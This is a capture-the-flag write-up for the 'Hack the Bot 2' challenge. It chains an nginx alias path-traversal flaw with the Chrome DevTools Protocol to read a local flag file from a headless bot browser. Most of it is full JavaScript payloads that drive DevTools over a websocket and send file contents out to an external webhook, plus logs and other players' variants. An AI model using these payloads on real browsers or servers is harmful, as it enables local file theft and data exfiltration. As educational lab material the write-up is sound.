Hack the Bot 2
Original Writeup on seall.dev
This was a post-solve of the challenge!
This was a hard whitebox challenge, the files are available for download here. I had some issues with the Dockerfile and had to modify it to install the Chrome drivers properly.
Initial Look
The program is the same as the one described in the โInitial Lookโ section of the Hack the Bot 1 writeup.
This time the flag is stored in a folder, you can see it being moved in the Dockerfile:
...
COPY flag2.txt /root/
...
Nginx Misconfiguration
Looking at the nginx configuration file, there is an error:
events{}
user root;
http {
server {
listen 80;
location / {
proxy_pass http://127.0.0.1:5000;
}
location /logs {
autoindex off;
alias /tmp/bot_folder/logs/;
try_files $uri $uri/ =404;
}
}
}
There are more details here but here is a brief summary.
Nginx alias is a replacement for the path specified in location, for example:
location /i/ {
alias /data/w3/images/;
}
If I sent a request to /i/example.txt it is getting the file from /data/w3/images/example.txt.
Our configuration has the following (with some lines removed for brevity):
location /logs {
alias /tmp/bot_folder/logs/;
}
Due to the lack of the closing / on /logs, we can achieve path traversal.
We can just read the flag now! http://localhost/logs../../../root/flag2.txtโฆ Just kidding, we donโt have permissions.
After a decent amount of poking around, I am shown Chrome DevTools Protocol!
Chrome DevTools Protocol
This is a websocket connection used with a path and port specified in DevToolsActivePort (which we can access with the nginx misconfiguration). It allows for a lot of functionality which can be read up more on here but a few features caught my eye:
Note: I couldnโt get
Pagefeatures working but I think thatโs because I was not on an active page yet with my commands, Iโll outline further why later.
Target has some interesting capabilites such as:
createTarget- Creates a new page.attachToTarget- Attaches to the target with given id.
Once attached we can use Runtime features which seem very useful:
enable- Enables reporting of execution contexts creation by means ofexecutionContextCreatedevent. When the reporting gets enabled the event will be sent immediately for each existing execution context.evaluate- Evaluates expression on global object.
If we could create a terget to the file:/// URI and then attach to that target, we could then utilise Runtime.evaluate to read the content of the page?
Starting small
Letโs work on a basic payload just to connect to devtools:
(async () => {
let res = await fetch('http://localhost/logs../browser_cache/DevToolsActivePort', {
cache: 'no-cache'
});
let text = await res.text();
console.log(text);
const lines = text.trim().split('\n');
const port = parseInt(lines[0].trim(), 10);
let path = lines[1].trim();
const wsUrl = `ws://localhost:${port}${path}`;
let ws;
const webhook = `https://WEBHOOK/`
ws = new WebSocket(wsUrl);
let targetId = null;
ws.onopen = () => {
fetch(`${webhook}?${wsUrl}`);
};
ws.onerror = (error) => {
fetch(`${webhook}?error=${btoa(error.toString())}`);
};
ws.onclose = () => {
fetch(`${webhook}?weclosed`);
};
})();
I then use my Script SRC payload from Hack the Bot 1 to get the JS file, and report the link pointing to the JS payload.
We get a response on the webhook:
/?ws://localhost:44629/devtools/browser/80e93e6f-0f0f-46ee-be2f-45e036a2afc8
Woo!
Commands
I start with a command createTarget to initialise a file URI to the flag.
(async () => {
let res = await fetch('http://localhost/logs../browser_cache/DevToolsActivePort', {
cache: 'no-cache'
});
let text = await res.text();
console.log(text);
const lines = text.trim().split('\n');
const port = parseInt(lines[0].trim(), 10);
let path = lines[1].trim();
const wsUrl = `ws://localhost:${port}${path}`;
let ws;
const webhook = `https://WEBHOOK/`
ws = new WebSocket(wsUrl);
let targetId = null;
ws.onopen = () => {
const createTargetCommand = {
id: 1,
method: 'Target.createTarget',
params: { url: "file:///root/flag2.txt" }
};
ws.send(JSON.stringify(createTargetCommand));
fetch(`${webhook}?openedWS`);
};
ws.onmessage = (event) => {
const data = JSON.parse(event.data);
fetch(`${webhook}?received=${btoa(event.data)}`);
ws.close();
};
ws.onerror = (error) => {
fetch(`${webhook}?error=${btoa(error.toString())}`);
};
ws.onclose = () => {
fetch(`${webhook}?weclosed`);
};
})();
We get our responses!
GET /a HTTP/1.1
GET /?weclosed HTTP/1.1
GET /?openedWS HTTP/1.1
GET /?received=eyJpZCI6MSwicmVzdWx0Ijp7InRhcmdldElkIjoiNjQ0RDkzQjAxRDgzODNCOURBMzEzNjdGODE0MzhBMDQifX0= HTTP/1.1
Base64 decoding the recieved data:
$ echo "eyJpZCI6MSwicmVzdWx0Ijp7InRhcmdldElkIjoiNjQ0RDkzQjAxRDgzODNCOURBMzEzNjdGODE0MzhBMDQifX0=" | base64 -d
{"id":1,"result":{"targetId":"644D93B01D8383B9DA31367F81438A04"}}
Yay! We get a targetId and we can now use that for a Target.attachToTarget!
(async () => {
let res = await fetch('http://localhost/logs../browser_cache/DevToolsActivePort', {
cache: 'no-cache'
});
let text = await res.text();
console.log(text);
const lines = text.trim().split('\n');
const port = parseInt(lines[0].trim(), 10);
let path = lines[1].trim();
const wsUrl = `ws://localhost:${port}${path}`;
let ws;
const webhook = `https://WEBHOOK/`
ws = new WebSocket(wsUrl);
let targetId = null;
ws.onopen = () => {
const createTargetCommand = {
id: 1,
method: 'Target.createTarget',
params: { url: "file:///root/flag2.txt" }
};
ws.send(JSON.stringify(createTargetCommand));
fetch(`${webhook}?openedWS`);
};
ws.onmessage = (event) => {
const data = JSON.parse(event.data);
fetch(`${webhook}?received=${btoa(event.data)}`);
if (data && data.id === 1 && data.result && data.result.targetId) {
targetId = data.result.targetId;
fetch(`${webhook}?gotTargetId=${targetId}`);
const attachCommand = {
id: 2,
method: 'Target.attachToTarget',
params: {
targetId: targetId,
flatten: true
}
};
ws.send(JSON.stringify(attachCommand));
}
if (data && data.id === 2) {
ws.close();
}
};
ws.onerror = (error) => {
fetch(`${webhook}?error=${btoa(error.toString())}`);
};
ws.onclose = () => {
fetch(`${webhook}?weclosed`);
};
})();
We get a response:
GET /a HTTP/1.1
GET /?received=eyJpZCI6MiwicmVzdWx0Ijp7InNlc3Npb25JZCI6Ijk4NkVCQ0I4NjM1NTA5RkYxQUYzODVFQzY3NEUyMENBIn19 HTTP/1.1
GET /?gotTargetId=699F59AF8810559BCF735269079AAC78 HTTP/1.1
GET /?openedWS HTTP/1.1
GET /?received=eyJtZXRob2QiOiJUYXJnZXQuYXR0YWNoZWRUb1RhcmdldCIsInBhcmFtcyI6eyJzZXNzaW9uSWQiOiI5ODZFQkNCODYzNTUwOUZGMUFGMzg1RUM2NzRFMjBDQSIsInRhcmdldEluZm8iOnsidGFyZ2V0SWQiOiI2OTlGNTlBRjg4MTA1NTlCQ0Y3MzUyNjkwNzlBQUM3OCIsInR5cGUiOiJwYWdlIiwidGl0bGUiOiIiLCJ1cmwiOiJmaWxlOi8vL3Jvb3QvZmxhZzIudHh0IiwiYXR0YWNoZWQiOnRydWUsImNhbkFjY2Vzc09wZW5lciI6ZmFsc2UsImJyb3dzZXJDb250ZXh0SWQiOiI3RThFNDYyNkVCQjBBNUY3QkIzQkFBNEJCMUUxRTgxNCJ9LCJ3YWl0aW5nRm9yRGVidWdnZXIiOmZhbHNlfX0= HTTP/1.1
GET /?received=eyJpZCI6MSwicmVzdWx0Ijp7InRhcmdldElkIjoiNjk5RjU5QUY4ODEwNTU5QkNGNzM1MjY5MDc5QUFDNzgifX0= HTTP/1.1
GET /?weclosed HTTP/1.1
Itโs all out of order because asynchronous-y things, but we can decode the portions and get the following:
$ echo "eyJpZCI6MiwicmVzdWx0Ijp7InNlc3Npb25JZCI6Ijk4NkVCQ0I4NjM1NTA5RkYxQUYzODVFQzY3NEUyMENBIn19" | base64 -d
{"id":2,"result":{"sessionId":"986EBCB8635509FF1AF385EC674E20CA"}}
$ echo "eyJtZXRob2QiOiJUYXJnZXQuYXR0YWNoZWRUb1RhcmdldCIsInBhcmFtcyI6eyJzZXNzaW9uSWQiOiI5ODZFQkNCODYzNTUwOUZGMUFGMzg1RUM2NzRFMjBDQSIsInRhcmdldEluZm8iOnsidGFyZ2V0SWQiOiI2OTlGNTlBRjg4MTA1NTlCQ0Y3MzUyNjkwNzlBQUM3OCIsInR5cGUiOiJwYWdlIiwidGl0bGUiOiIiLCJ1cmwiOiJmaWxlOi8vL3Jvb3QvZmxhZzIudHh0IiwiYXR0YWNoZWQiOnRydWUsImNhbkFjY2Vzc09wZW5lciI6ZmFsc2UsImJyb3dzZXJDb250ZXh0SWQiOiI3RThFNDYyNkVCQjBBNUY3QkIzQkFBNEJCMUUxRTgxNCJ9LCJ3YWl0aW5nRm9yRGVidWdnZXIiOmZhbHNlfX0=" | base64 -d
{"method":"Target.attachedToTarget","params":{"sessionId":"986EBCB8635509FF1AF385EC674E20CA","targetInfo":{"targetId":"699F59AF8810559BCF735269079AAC78","type":"page","title":"","url":"file:///root/flag2.txt","attached":true,"canAccessOpener":false,"browserContextId":"7E8E4626EBB0A5F7BB3BAA4BB1E1E814"},"waitingForDebugger":false}}
$ echo "eyJpZCI6MSwicmVzdWx0Ijp7InRhcmdldElkIjoiNjk5RjU5QUY4ODEwNTU5QkNGNzM1MjY5MDc5QUFDNzgifX0=" | base64 -d
{"id":1,"result":{"targetId":"699F59AF8810559BCF735269079AAC78"}}
Yay things are working! In that second decoded string we can see thatโs the response to the Target.attachToTarget, and listed is "attached":true!
Letโs move on to execution:
The fun!
This is the same payload as before, we are now adding on the following:
...
else if (data && data.id === 2 && data.result && data.result.sessionId) {
const sessionId = data.result.sessionId;
fetch(`${webhook}?gotSessionId=${sessionId}`);
const enableRuntimeCommand = {
id: 3,
method: 'Runtime.enable',
params: {},
sessionId: sessionId
};
ws.send(JSON.stringify(enableRuntimeCommand));
}
else if (data && data.id === 3){
ws.close();
}
...
This will enable Runtime commands!
We get this new response: {"id":3,"result":{},"sessionId":"3AE5046B90DE80963D8144DE14A75FAF"}
I now use evaluate to get the page content!
...
const evaluateCommand = {
id: 4 + checkAttempts,
method: 'Runtime.evaluate',
params: {
expression: 'document.documentElement.outerHTML',
returnByValue: true
},
sessionId: sessionId
};
ws.send(JSON.stringify(evaluateCommand));
...
This should work fine, but it doesnโt as page content takes time to load, so we need to continously check for the content in the HTML. We know the flag starts with PWNME so letโs wait for that:
...
else if (data && data.id === 2 && data.result && data.result.sessionId) {
sessionId = data.result.sessionId;
fetch(`${webhook}?gotSessionId=${sessionId}`);
const enableRuntimeCommand = {
id: 3,
method: 'Runtime.enable',
params: {},
sessionId: sessionId
};
ws.send(JSON.stringify(enableRuntimeCommand));
checkContent();
}
...
else if (data && data.id >= 4) {
if (data.result && data.result.result && data.result.result.value) {
const content = data.result.result.value;
if (content.includes('PWNME')) {
fetch(`${webhook}?found=PWNME&content=${btoa(content)}`);
ws.close();
} else {
setTimeout(checkContent, 1000);
}
} else {
setTimeout(checkContent, 1000);
}
}
...
function checkContent() {
if (sessionId) {
checkAttempts++;
const evaluateCommand = {
id: 4 + checkAttempts,
method: 'Runtime.evaluate',
params: {
expression: 'document.documentElement.outerHTML',
returnByValue: true
},
sessionId: sessionId
};
ws.send(JSON.stringify(evaluateCommand));
}
}
...
So now it will setup this checkContent() function in the enable command, then check the content for the response, if it doesnโt contain PWNME wait a second and go again until we find it!
The Solve!
(async () => {
let res = await fetch('http://localhost/logs../browser_cache/DevToolsActivePort', {
cache: 'no-cache'
});
let text = await res.text();
console.log(text);
const lines = text.trim().split('\n');
const port = parseInt(lines[0].trim(), 10);
let path = lines[1].trim();
const wsUrl = `ws://localhost:${port}${path}`;
let ws;
const webhook = `https://server.blackmail.zip/`;
ws = new WebSocket(wsUrl);
let targetId = null;
let sessionId = null;
let checkAttempts = 0;
ws.onopen = () => {
const createTargetCommand = {
id: 1,
method: 'Target.createTarget',
params: { url: "file:///root/flag2.txt" }
};
ws.send(JSON.stringify(createTargetCommand));
fetch(`${webhook}?openedWS`);
};
ws.onmessage = (event) => {
const data = JSON.parse(event.data);
if (data && data.id === 1 && data.result && data.result.targetId) {
targetId = data.result.targetId;
fetch(`${webhook}?gotTargetId=${targetId}`);
const attachCommand = {
id: 2,
method: 'Target.attachToTarget',
params: {
targetId: targetId,
flatten: true
}
};
ws.send(JSON.stringify(attachCommand));
}
else if (data && data.id === 2 && data.result && data.result.sessionId) {
sessionId = data.result.sessionId;
fetch(`${webhook}?gotSessionId=${sessionId}`);
const enableRuntimeCommand = {
id: 3,
method: 'Runtime.enable',
params: {},
sessionId: sessionId
};
ws.send(JSON.stringify(enableRuntimeCommand));
}
else if (data && data.id >= 4) {
if (data.result && data.result.result && data.result.result.value) {
const content = data.result.result.value;
if (content.includes('PWNME')) {
fetch(`${webhook}?found=PWNME&content=${btoa(content)}`);
ws.close();
} else {
setTimeout(checkContent, 1000);
}
} else {
setTimeout(checkContent, 1000);
}
}
};
function checkContent() {
if (sessionId) {
checkAttempts++;
const evaluateCommand = {
id: 4 + checkAttempts,
method: 'Runtime.evaluate',
params: {
expression: 'document.documentElement.outerHTML',
returnByValue: true
},
sessionId: sessionId
};
ws.send(JSON.stringify(evaluateCommand));
}
}
ws.onerror = (error) => {
fetch(`${webhook}?error=${btoa(error.toString())}`);
};
})();
The response to the solve:
GET /a HTTP/1.1
GET /?openedWS HTTP/1.1
GET /?gotTargetId=E163C43EFF2F0BCC816058D3F1E11561 HTTP/1.1
GET /?gotSessionId=98047CDC4DEE1E748BA7CA2667C39C33 HTTP/1.1
GET /?found=PWNME&content=PGh0bWw+PGhlYWQ+PG1ldGEgbmFtZT0iY29sb3Itc2NoZW1lIiBjb250ZW50PSJsaWdodCBkYXJrIj48L2hlYWQ+PGJvZHk+PHByZSBzdHlsZT0id29yZC13cmFwOiBicmVhay13b3JkOyB3aGl0ZS1zcGFjZTogcHJlLXdyYXA7Ij5QV05NRXtGQUtFX0ZMQUd9CjwvcHJlPjwvYm9keT48L2h0bWw+ HTTP/1.1
Flag: PWNME{FAKE_FLAG_BECAUSE_THIS_IS_A_POSTSOLVE}
Other Solutions
DOM
User TechnologicNick had a solve using DOM:
...
devtools.onopen = () => {
callback("Opened");
devtools.send(JSON.stringify({
id: 1,
method: 'Target.createTarget',
params: {
url: "file:///root/flag2.txt",
},
}));
};
devtools.onerror = (err) => {
console.error('WebSocket Error: ', err);
callback("WebSocket Error: " + err);
}
devtools.onmessage = (event) => {
// const {result: {result: {value}}} = JSON.parse(data);
// console.log('WebSocket Message Received: ', value)
callback("<-- " + event.data);
const obj = JSON.parse(event.data);
if (obj.id === 1 && sessionId === null) {
const targetId = obj.result.targetId;
devtools.send(JSON.stringify({
id: 2,
method: 'Target.attachToTarget',
params: {
targetId,
flatten: true
}
}));
} else if (obj.id === 2 && sessionId === null) {
sessionId = obj.result.sessionId;
devtools.send(JSON.stringify({
sessionId,
id: 3,
method: 'DOM.getDocument',
}));
devtools.send(JSON.stringify({
sessionId,
id: 4,
method: 'DOM.getOuterHTML',
params: {"nodeId":1}
}));
// Wait for DOM.documentUpdated
setTimeout(() => {
devtools.send(JSON.stringify({
sessionId,
id: 5,
method: 'DOM.getDocument',
}));
devtools.send(JSON.stringify({
sessionId,
id: 6,
method: 'DOM.getOuterHTML',
params: {"nodeId":5}
}))
}, 1000);
}
};
They waited 1s for a DOM.documentUpdated and then retrieved the contents again with DOM.getOuterHTML!
Page and Evaluate
This clean solution by aelmo uses Page and Evaluate (which I could not get working myself):
function connectPage(port, targetId, hook) {
const ws = new WebSocket(`ws://localhost:${port}/devtools/page/${targetId}`);
ws.onopen = () => {
ws.send(
JSON.stringify({
id: 1,
method: "Page.navigate",
params: { url: "file:///root/flag2.txt" },
})
);
fetch(hook + "connected");
};
ws.onmessage = (event) => {
fetch(hook + "msg", { method: "POST", body: event.data });
let data = JSON.parse(event.data);
switch (data.id) {
case 1:
ws.send(
JSON.stringify({
id: 2,
method: "Runtime.evaluate",
params: { expression: "document.body.innerHTML" },
})
);
break;
}
};
}
Just using a Page.navigate to direct, then evaluating the innerHTML.
RCE?
Player jopraveen has an awesome writeup I suggest you read that solved both Hack the Bot 1 and this challenge using an n-day in outdated Chrome to get RCE!
Related Writeups
l33t-benign
Now that you've figured out who was behind this operation, can you figure out who else was affected?
4spam
In the wake of last week's events, we've created a replacement (https://4spam.umbccd.net/). An old dump of some of the ...
Caddyshack
locate and connect to the server running on caddyshack.umbccd.net